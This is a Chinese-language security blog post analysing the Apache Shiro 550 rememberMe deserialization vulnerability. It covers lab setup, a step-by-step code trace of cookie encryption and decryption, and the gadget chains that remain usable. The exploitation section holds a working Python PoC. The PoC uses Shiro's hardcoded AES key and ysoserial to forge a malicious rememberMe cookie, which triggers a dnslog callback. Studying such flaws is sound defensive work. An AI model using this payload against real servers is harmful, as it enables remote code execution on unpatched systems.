Java安全之Shiro 550反序列化漏洞分析
Java安全之Shiro 550反序列化漏洞分析
首发自安全客:Java安全之Shiro 550反序列化漏洞分析
0x00 前言
在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是Shiro的该漏洞也是用的比较频繁的漏洞。本文对该Shiro550 反序列化漏洞进行一个分析,了解漏洞产生过程以及利用方式。
0x01 漏洞原理
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为shiro接受了Cookie里面rememberMe
的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。
反过来思考一下,如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密,那么这时候就会去进行反序列化我们的payload内容,这时候就可以达到一个命令执行的效果。
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作
0x02 漏洞环境搭建
漏洞环境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
打开shiro/web目录,对pom.xml进行配置依赖配置一个cc4和jstl组件进来,后面再去说为什么shiro自带了commons-collections:3.2.1
还要去手工配置一个commons-collections:4.0
。
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
坑点
Shiro的编译太痛苦了,各种坑,下面来排一下坑。
配置maven\conf\toolchains.xml
,这里需要指定JDK1.6的路径和版本,编译必须要1.6版本,但不影响在其他版本下运行。
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
</configuration>
</toolchain>
</toolchains>
这些都完成后进行编译。
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
这里还是报错了。
后面编译的时候,切换成了maven3.1.1的版本。然后就可以编译成功了。
但是后面又发现部署的时候访问不到,编译肯定又出了问题。
后面把这两个里面的<scope>
标签给注释掉,然后就可以了。
把pom.xml配置贴一下。
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
经过2天的排坑,终于把这个坑给解决掉,这里必须贴几张照片庆祝庆祝。
输入账号密码,勾选Remerber me选项。进行抓包
下面就可以来分析该漏洞了。
0x03 漏洞分析
加密
漏洞产生点在CookieRememberMeManager
该位置,来看到rememberSerializedIdentity
方法。
该方法的作用为使用Base64对指定的序列化字节数组进行编码,并将Base64编码的字符串设置为cookie值。
那么我们就去查看一下该方法在什么地方被调用。
在这可以看到该类继承的AbstractRememberMeManager
类调用了该方法。跟进进去查看
发现这个方法被rememberIdentity
方法给调用了,同样方式继续跟进。
在这里会发现rememberIdentity
方法会被onSuccessfulLogin
方法给调用,跟踪到这一步,就看到了onSuccessfulLogin
登录成功的方法。
当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin
方法,该方法主要实现了生成加密的RememberMe Cookie
,然后将RememberMe Cookie
设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity
方法里面去实现了。可以来看一下这段代码。
回到onSuccessfulLogin
这个地方,打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看。找到登录成功方法后,我们可以来正向去做个分析,不然刚刚的方式比较麻烦。
这里看到调用了isRememberMe
很显而易见得发现这个就是一个判断用户是否选择了Remember Me
选项。
如果选择Remember Me
功能的话返回true,如果不选择该选项则是调用log.debug方法在控制台输出一段字符。
这里如果为true的话就会调用rememberIdentity
方法并且传入三个参数。F7跟进该方法。
前面说过该方法会去生成一个PrincipalCollection
对象,里面包含登录信息。F7进行跟进rememberIdentity
方法。
查看convertPrincipalsToBytes
具体的实现与作用。
跟进该方法查看具体实现。
看到这里其实已经很清晰了,进行了一个序列化,然后返回序列化后的Byte数组。
再来看到下一段代码,这里如果getCipherService
方法不为空的话,就会去执行下一段代码。getCipherService
方法是获取加密模式。
还是继续跟进查看。
查看调用,会发现在构造方法里面对该值进行定义。
完成这一步后,就来到了这里。
调用encrypt
方法,对序列化后的数据进行处理。继续跟进。
这里调用cipherService.encrypt
方法并且传入序列化数据,和getEncryptionCipherKey
方法。
getEncryptionCipherKey
从名字上来看是获取密钥的方法,查看一下,是怎么获取密钥的。
查看调用的时候,发现setCipherKey
方法在构造方法里面被调用了。
查看DEFAULT_CIPHER_KEY_BYTES
值会发现里面定义了一串密钥
而这个密钥是定义死的。
返回刚刚的加密的地方。
这个地方选择跟进,查看具体实现。
查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。
iv的值由generateInitializationVector
方法生成,进行跟进。
查看getDefaultSecureRandom
方法实现。
返回generateInitializationVector
方法继续查看。这个new了一个byte数组长度为16
最后得到这个ivBytes值进行返回。
这里执行完成后就拿到了ivBytes的值了,这里再回到加密方法的地方查看具体加密的实现。
这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。
iv 的小tips
- 某些加密算法要求明文需要按一定长度对齐,叫做块大小(BlockSize),我们这次就是16字节,那么对于一段任意的数据,加密前需要对最后一个块填充到16 字节,解密后需要删除掉填充的数据。
- AES中有三种填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
- PKCS7Padding跟PKCS5Padding的区别就在于数据填充方式,PKCS7Padding是缺几个字节就补几个字节的0,而PKCS5Padding是缺几个字节就补充几个字节的几,好比缺6个字节,就补充6个字节
不了解加密算法的可以看Java安全之安全加密算法
在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。
执行完成后,来到这一步,然后进行跟进。
到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。
解密
由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt
进行加密,该类中也有对应的解密操作。那么在这里就可以来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点。
查看 getRememberedPrincipals
方法在此处下断点
跟踪
返回getRememberedPrincipals
方法。
在下面调用了convertBytesToPrincipals
方法,进行跟踪。
查看decrypt
方法具体实现。
和前面的加密步骤类似,这里不做详细讲解。
生成iv值,然后传入到他的重载方法里面。
到了这里执行完后,就进行了AES的解密完成。
还是回到这一步。
这里返回了deserialize
方法的返回值,并且传入AES加密后的数据。
进行跟踪该方法。
继续跟踪。
到了这步,就会对我们传入进来的AES解密后的数据进行调用readObject
方法进行反序列化操作。
0x04 漏洞攻击
漏洞探测
现在已经知道了是因为获取rememberMe值,然后进行解密后再进行反序列化操作。
那么在这里如果拿到了密钥就可以伪造加密流程。
网上找的一个加密的脚本
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
获取到值后加密后的payload后可以在burp上面进行手工发送测试一下。
发送完成后,就可以看到DNSLOG平台上面回显了。
当使用URLDNS链的打过去,在DNSLOG平台有回显的时候,就说明这个地方存在反序列化漏洞。
但是要利用的话还得是使用CC链等利用链去进行命令的执行。
漏洞利用
前面我们手动给shio配上cc4的组件,而shiro中自带的是cc3.2.1版本的组件,为什么要手工去配置呢?
其实shiro中重写了ObjectInputStream
类的resolveClass
函数,ObjectInputStream
的resolveClass
方法用的是Class.forName
类获取当前描述器所指代的类的Class对象。而重写后的resolveClass
方法,采用的是ClassUtils.forName
。查看该方法
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
在传参的地方如果传入一个Transform
数组的参数,会报错。
后者并不支持传入数组类型。
resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class
那么在这里可以使用cc2和cc4的利用链去进行命令执行,因为这两个都是基于javassist去实现的,而不是基于Transform
数组。具体的可以看前面我的分析利用链文章。
除了这两个其实在部署的时候,可以发现组件当中自带了一个CommonsBeanutils的组件,这个组件也是有利用链的。可以使用CommonsBeanutils这条利用链进行命令执行。
那么除了这些方式就没有了嘛?假设没有cc4的组件,就一定执行不了命令了嘛?其实方式还是有的。wh1t3p1g师傅在文章中已经给出了解决方案。需要重新去特殊构造一下利用链。
参考文章
https://www.anquanke.com/post/id/192619#h2-4
https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils
https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
0x05 结尾
在该漏洞中我觉得主要的难点在于环境搭建上费了不少时间,还有的就是关于shiro中大部分利用链没法使用的解决。